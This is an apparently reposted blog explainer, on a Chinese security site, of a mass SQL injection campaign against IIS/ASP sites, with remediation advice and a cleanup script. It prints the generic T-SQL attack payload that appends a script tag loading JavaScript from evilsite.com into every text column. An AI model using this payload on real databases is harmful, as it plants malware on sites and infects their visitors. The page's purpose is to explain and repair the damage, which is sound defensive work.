外国的注入技巧收集

所属分类: 网络安全 / 黑客教程 阅读数: 2035
收藏 0 赞 0 分享
The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap:
There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.
What should I do if I’m the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);

it locates and removes it with

EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);

Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.




更多精彩内容其他人还在看

黑客七大惯用攻击策略(攻击与防范)

这篇文章主要介绍了黑客七大惯用攻击策略,你必须掌握!,需要的朋友可以参考下
收藏 0 赞 0 分享

Android平台的SQL注入漏洞浅析(一条短信控制你的手机)

14年11月笔者在百度xteam博客中看到其公开了此前报告给Google的CVE-2014-8507漏洞细节——系统代码在处理经由短信承载的WAP推送内容时产生的经典SQL注入漏洞,影响Android 5.0以下的系统
收藏 0 赞 0 分享

浅析XSS与XSSI异同

这篇文章主要介绍了XSS与XSSI异同,跨站脚本(XSS)和跨站脚本包含(XSSI)之间的区别是什么?防御方法有什么不同?感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

没有苹果官方支持 是否可以重置MAC系统固件密码

不开源就意味着更干净更安全,现在连苹果都要准备部分开源给第三方软件了,是不是意味着苹果的安全也不如想象中的那么强大了?这个猜测并没有证据,有证据的是,iMac和MacBook的固件密码已经可以破解重置了
收藏 0 赞 0 分享

躲避黑客的七大高招教程

现在电脑用户最讨厌的就是黑客,有用户问怎么才能高效的躲避黑客的入侵呢?下面小编就为大家介绍七大高招,让你的电脑时时刻刻处于安全状态
收藏 0 赞 0 分享

在线DDoS攻击平台是什么 DDoS攻击平台的流量获取方式

流量获取是DDOS攻击的最重要一环,黑客主要通过获取厂商服务器的上行流量,致使你的服务器、电脑所属的网络或者系统资源耗尽而瘫痪,让你失去目标客户,借此用来勒索厂商。本文讲述了黑客获取流量的主要六种方式
收藏 0 赞 0 分享

如何提高DDoS攻击效率 增强DDoS攻击效果的思路

在我们的思维都朝着一个方向走的时候,忽然的转向会让人茅塞顿开。黑客在我眼中就是一群思维习惯不同的人,他们从不朝着同一个方向走,所以你才会被他们发现这么多的漏洞。一把手枪,四颗子弹,你能让子弹同时击中同一个目标来达到最强的杀伤力吗
收藏 0 赞 0 分享

十三步简单入侵个人电脑教程

下面小编就为电脑新手们打造了一个教程,从来没有通过网络进入别人电脑的用户快来看看吧,主要使用到的软件就是著名的国产木马冰河2.
收藏 0 赞 0 分享

保护DNS服务器的10点方法小结

本文收集总结了几点保护DNS服务器的有效方法,感兴趣的小伙伴们可以参考一下。
收藏 0 赞 0 分享

DNS协议欺骗攻击技术的攻防知识 DNS欺骗攻击和防范方法有哪些

你是否遭遇过这样的情况?当你在浏览器中输入正确的URL地址,但是打开的并不是你想要去的网站。它可能是114的查询页面,可能是一个广告页面,更可能是一个刷流量的页面,甚至是一个挂马的网站。如果你遇到了上述情况话,那么极有可能你遭遇了DNS欺骗。
收藏 0 赞 0 分享
查看更多